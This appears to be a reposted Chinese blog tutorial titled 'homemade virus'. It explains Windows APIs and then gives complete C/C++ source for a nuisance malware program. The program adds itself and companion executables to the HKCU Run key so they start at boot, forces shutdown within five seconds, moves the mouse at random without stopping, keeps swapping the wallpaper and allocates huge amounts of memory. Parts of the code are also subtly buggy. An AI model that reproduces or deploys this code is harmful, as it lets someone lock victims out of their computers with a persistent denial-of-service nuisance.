自制病毒——控制桌面鼠標以及開關機


自制病毒——控制桌面背景鼠標以及開關機

目錄

一 理論知識

1.1 修改桌面背景方法

在Windows下,修改桌面背景可以使用特定的API : SystemParametersInfo

該函數也可以在設置參數中更新用戶配置文件,這個函數還有很多其它功能,比如獲取桌面工作區的大小。

BOOL SystemParametersInfo(UINT uiAction,UINT uiParam,PVOID pvParam,UINT fWinlni);

uiAction:該參數指定要查詢或設置的系統級參數。其取值如下;

SPI_GETACCESSTIMEOUT:檢索與可訪問特性相關聯的超時段的信息,PvParam參數必須指向某個ACCESSTIMEOUT結構以獲得信息,並將該結構中的cbSjze成員和ulParam參數的值設為sizeof(ACCESSTIMEOUT)。

SPI_GETACTIVEWINDOWTRACKING:用於Windows 98和Windows NT 5.0及以后的版本。它表示是否打開活動窗口跟蹤(激活該窗口時鼠標置為開狀態),pvParam參數必須指向一個BOOL型變量(打開時接收值為TRUE,關閉時為FALSE)。

SPI_GETACTIVEWNDTRKZORDER;用於Windows 98和Windows NT 5.0及以后版本。它表示通過活動窗口跟蹤開關激活的窗口是否要置於最頂層。pvParam參數必須指向一個BOOL型變量,如果要置於頂層,那么該變量的值為TRUE,否則為FALSE。

SPI_GETACTIVEWNDTRKTIMEOUT:用於Windows 98和 Windows NT 5.0及以后版本。它指示活動窗口跟蹤延遲量,單位為毫秒。pvParam參數必須指向DWORD類型變量,以接收時間量。

SPI_GETANIMATION:檢索與用戶活動有關的動畫效果。pvParam參數必須指向ANIMATIOINFO結構以接收信息。並將該結構的cbSize成員和ulParam參數置為sizeof(ANIMATIONINFO)。

SPI_GETBEEP:表示警告蜂鳴器是否是打開的。pvParam參數必須指向一個BOOL類型變量,如果蜂鳴器處於打開狀態,那么該變量的值為TRUE,否則為FALSE。

SpI_GETBORDER:檢索決定窗口邊界放大寬度的邊界放大因子。pvParam參數必須指向一個整型變量以接收該值。

SPI_GETDEFAULTINPUTLANG:返回用於系統缺省輸入語言的鍵盤布局句柄。pvParam參數必須指向一個32位變量,以接收該值。

SPI_GETCOMBOBOXANIMATION:用於Windows 98和Windows NT 5.0及以后版本。它表示用於組合櫃的動打開效果是否允許。pvParam參數必須指向一個BOOL變量,如果允許,那么變量返回值為TRUE,否則為FALSE。

SPI_GETDRAGFULLWINDOWS:確定是否允許拖拉到最大窗口。pvParam參數必須指向BOOL變量,如果允許,返回值為TRUE,否則為FALSE。對於Windows 95系統,該標志只有在安裝了Windows plus!才支持。

SPI_GETFASTTASKSWITCH:該標志已不用!以前版本的系統使用該標志來確定是否允許Alt+Tab快速任務切換。對於Windows 95、Windows 98和Windows NT 4.0版而言,快速任務切換通常是允許的。

更多

uiParam:uiParam 在參數說明中所有為ulParam均為錯誤。

這個參數值設為true即可。

pvParam:與查詢或設置的系統參數有關。關於系統級參數的詳情,請參考uiAction參數。否則在沒有指明情況下,必須將該參數指定為NULL。

在修改背景圖片時為圖片信息,PVOID類型。

fWinlni:如果設置系統參數,則它用來指定是否更新用戶配置文件(Profile)。亦或是否要將WM_SETTINGCHANGE消息廣播給所有頂層窗口,以通知它們新的變化內容。該參數可以是0或下列取值之一:

SPIF_UPDATEINIFILE:把新的系統參數的設置內容寫入用戶配置文件。

SPIF_SENDCHANGE:在更新用戶配置文件之后廣播WM_SETTINGCHANGE消息。

SPI_SENDWININICHANGE與 SPIF_SENDCHANGE一樣。

返回值

如果函數調用成功,返回值非零:如果函數調用失敗,那么返回值為零。

1.2 控制鼠標方法

控制鼠標坐標的方法同樣也時調用一個API,GetCursorPos和SetCursorPos

GetCursorPos用於獲取鼠標句柄

#include<stdio.h>
#include<windows.h>
int main()
{
    POINT p;
    GetCursorPos(&p);
    
    return0;
}

SetCursorPos用於移動鼠標

在使用GetCursorPos獲取鼠標句柄之后,可以調用SetCursorPos移動鼠標,它的兩個參數分別是x軸和y軸。

函數原型:BOOL SetCursorPos(int X,int Y);
參數:
X:指定光標的新的X坐標,以屏幕坐標表示。
Y:指定光標的新的Y坐標,以屏幕坐標表示。
返回值:如果成功,返回非零值;如果失敗,返回值是零,若想獲得更多錯誤信息,請調用GetLastError函數。
備注:該光標是共享資源,僅當該光標在一個窗口的客戶區域內時它才能移動該光標。

1.3 開機自啟動方法

注冊表

開機自啟動的實現方法就是通過注冊表實現,在注冊表中有固定的開機自啟程序設置位置

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run;

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Runonce;

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run;

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce;

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx

在這幾項中有我們電腦中的開機自啟動程序信息,

s

例如這個WeChat就是開機時的微信登錄程序。

注冊表讀寫方法

RegCreateKey

// 打開注冊表
LONG WINAPI RegCreateKey(
_In_ HKEY hKey,
_In_opt_ LPCTSTR lpSubKey,
_Out_ PHKEY phkResult
);

hKey
指向當前打開表項的句柄,或者是下列預定義保留句柄值之一,實際上就是注冊表中的幾個分支。

lpSubKey
指向一個空終止的字符串指針,指示這個函數將打開或創建的表項的名稱。這個表項必須是由hKey參數所標識的項的子項

phkResult
這是一個返回值,指向一個變量的指針,用來接受創建或打開的表項的句柄。當不再需要此返回的注冊表項句柄時,調用RegCloseKey函數關閉這個句柄。

RegSetValueEx

// 讀寫注冊表
LONG RegSetValueEx(
    HKEY hKey,
    LPCTSTR lpValueName,
    DWORD Reserved,
    DWORD dwType,
    CONST BYTE *lpData,
    DWORD cbData
);

hKey
一個已打開項的句柄,或指定一個標准項名

lpValueName
指向一個字符串的指針,該字符串包含了欲設置值的名稱。若擁有該值名稱的值並不存在於指定的注冊表項中,則此函數將其加入到該項。如果此值是NULL,或指向空字符串,則此函數為該項的默認值或未命名值設置類型和數據。

Reserved
保留值,必須強制為0

dwType
指定將被存儲的數據類型,該參數可以為

REG_BINARY 任何形式的二進制數據
REG_DWORD 一個32位的數字
REG_DWORD_LITTLE_ENDIAN 一個“低字節在前”格式的32位數字
REG_DWORD_BIG_ENDIAN 一個“高字節在前”格式的32位數字
REG_EXPAND_SZ 一個以0結尾的字符串,該字符串包含對環境變量(如“%PAHT”)的未擴展引用
REG_LINK 一個Unicode格式的帶符號鏈接
REG_MULTI_SZ 一個以0結尾的字符串數組,該數組以連接兩個0為終止符
REG_NONE 未定義值類型
REG_RESOURCE_LIST 一個設備驅動器資源列表
REG_SZ 一個以0結尾的字符串

lpData
指向一個緩沖區,該緩沖區包含了欲為指定值名稱存儲的數據。

cbData
指定由lpData參數所指向的數據的大小,單位是字節。

1.4 關機方法

Windows 系統自帶一個名為Shutdown.exe的程序,可以用於關機操作(位置在Windows\System32下),一般情況下Windows系統的關機都可以通過調用程序 shutdown.exe來實現的,同時該程序也可以用於終止正在計划中的關機操作。

shutdown-a 取消關機
shutdown -s 關機
shutdown -f 強行關閉應用程序
shutdown -m \\計算機名 控制遠程計算機
shutdown -i 顯示“遠程關機”圖形用戶界面,但必須是Shutdown的第一個參數  
shutdown -l 注銷當前用戶
shutdown -r 關機並重啟
shutdown -s -t 時間 設置關機倒計時
shutdown -h 休眠

二 實現

2.1 修改桌面背景代碼

圖片信息使用了一個PVOID數組,並通過一個for循環不斷切換桌面背景。

#include<stdio.h>
#include<windows.h>
#include<iostream>
#include <tchar.h>
#include<cstdlib>
#include<ctime>
using namespace std ;

int main(){
   PVOID s[10] = {
        (PVOID)"D:\\windows\\system32\\bin\\background.jpg" ,
        (PVOID)"D:\\windows\\system32\\bin\\background1.jpg" ,
         ...
        (PVOID)"D:\\windows\\system32\\bin\\background6.jpg" ,
        (PVOID)"D:\\windows\\system32\\bin\\background7.jpg" ,
        (PVOID)"D:\\windows\\system32\\bin\\background8.jpg" ,
        (PVOID)"D:\\windows\\system32\\bin\\background9.jpg"
        };
    SystemParametersInfo(20, true,s, 1) ;
    for(int i=0;i<10;i++){
        SystemParametersInfo(20, true,s[i], 1) ;
        Sleep(1000);//控制時間間隔
    }

    return 0 ;  
}

2.2 控制鼠標代碼

利用隨機數和while死循環達到鼠標不受控制瘋狂隨機移動的功能。

#include<stdio.h>
#include<windows.h>
#include<iostream>
#include <tchar.h>
#include<cstdlib>
#include<ctime>
using namespace std ;

int main(){
    POINT sb;
    srand((unsigned)time(NULL));
    GetCursorPos (&sb);//獲取鼠標坐標
    while(1){
        SetCursorPos(rand()%1000,rand()%800);//更改鼠標坐標
        Sleep(1);//控制移動時間間隔
    }
    return 0 ;
}

2.3 開機自啟動代碼

ret = RegSetValueEx(hkey,_T("新加項名稱"),0,REG_SZ,(const BYTE*)("d:\windows\setup.exe"),21);

第二個參數是項名稱,第五個參數是要開機啟動程序的路徑位置,最后一個參數是第五個參數路徑字符長度。

#include<stdio.h>
#include<windows.h>
#include<iostream>
#include <tchar.h>
#include<cstdlib>
#include<ctime>
using namespace std ;

int main(){
    HKEY hkey ;//計算機\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
	TCHAR p[64] ;
    long ret;
    ret = RegCreateKey(HKEY_CURRENT_USER,_T("Software\\Microsoft\\Windows\\CurrentVersion\\Run"),&hkey);
    if(ret==ERROR_SUCCESS){
        ret = RegSetValueEx(hkey,_T("新加項名稱"),0,REG_SZ,(const BYTE*)("d:\\windows\\setup.exe"),21);  // 主
        if(ret==ERROR_SUCCESS){
            // 寫入成功
        }else {
            // 寫入失敗
            cout << "Write filed !" ;
        }
    }else {
        // 注冊表打開失敗
        cout << "Read error !" << endl ;
    }    
    return 0 ;
}

2.4 關機代碼

這個功能實現比較簡單。

#include<stdio.h>
#include<windows.h>

int main(){
    // 五秒關機
    system("shutdown -s -t 5");

    return 0 ;
}

三 代碼

3.1 注冊程序,將病毒主體加入開機自啟動

#include<stdio.h>
#include<windows.h>
#include<iostream>
#include <tchar.h>
#include<cstdlib>
#include<ctime>
using namespace std ;

int main(){
    HKEY hkey ;//計算機\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
	TCHAR p[64] ;
    long ret;
    ret = RegCreateKey(HKEY_CURRENT_USER,_T("Software\\Microsoft\\Windows\\CurrentVersion\\Run"),&hkey);
    if(ret==ERROR_SUCCESS){
        ret = RegSetValueEx(hkey,_T("LexBer"),0,REG_SZ,(const BYTE*)("d:\\windows\\setup.exe"),21);  // 主
        ret = RegSetValueEx(hkey,_T("Begin"),0,REG_SZ,(const BYTE*)("d:\\windows\\system32\\bin\\begin.exe"),35); // 主要動作
        ret = RegSetValueEx(hkey,_T("FindQQ"),0,REG_SZ,(const BYTE*)("d:\\windows\\system32\\conf\\find.exe"),35);//監控實時變化
        if(ret==ERROR_SUCCESS){
            // 寫入成功
        }else {
            // 寫入失敗
            cout << "Write filed !" ;
        }
    }else {
        cout << "Read error !" << endl ;
    }

    return 0 ;
}

3.2 病毒主體,在上方代碼實現開機自啟動之后,這段代碼可以不斷修改壁紙,控制鼠標以及關機。

#include<stdio.h>
#include<windows.h>
#include<iostream>
#include <tchar.h>
#include<cstdlib>
#include<ctime>
using namespace std ;

int main(){

    POINT sb;
    PVOID s[10] = {
        (PVOID)"D:\\windows\\system32\\bin\\background.jpg" ,
        (PVOID)"D:\\windows\\system32\\bin\\background1.jpg" ,
        (PVOID)"D:\\windows\\system32\\bin\\background2.jpg" ,
        (PVOID)"D:\\windows\\system32\\bin\\background3.jpg" ,
        (PVOID)"D:\\windows\\system32\\bin\\background4.jpg" ,
        (PVOID)"D:\\windows\\system32\\bin\\background5.jpg" ,
        (PVOID)"D:\\windows\\system32\\bin\\background6.jpg" ,
        (PVOID)"D:\\windows\\system32\\bin\\background7.jpg" ,
        (PVOID)"D:\\windows\\system32\\bin\\background8.jpg" ,
        (PVOID)"D:\\windows\\system32\\bin\\background9.jpg"
        };
    srand((unsigned)time(NULL));
    system("shutdown -s -t 5");
    SystemParametersInfo(20, true,s, 1) ;
    GetCursorPos (&sb);//獲取鼠標坐標
    int i = 0 ;
    while(1){
        int *p = (int*)malloc(10000000000) ;
        printf("\a");
        SystemParametersInfo(20, true,s[i], 1) ;
        if(i>=9){
            i = 0 ;
        }
        SetCursorPos(rand()%1000,rand()%800);//更改鼠標坐標
        Sleep(1);//控制移動時間間隔
    }

    return 0 ;
}

四 參考

Github地址 : Github


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM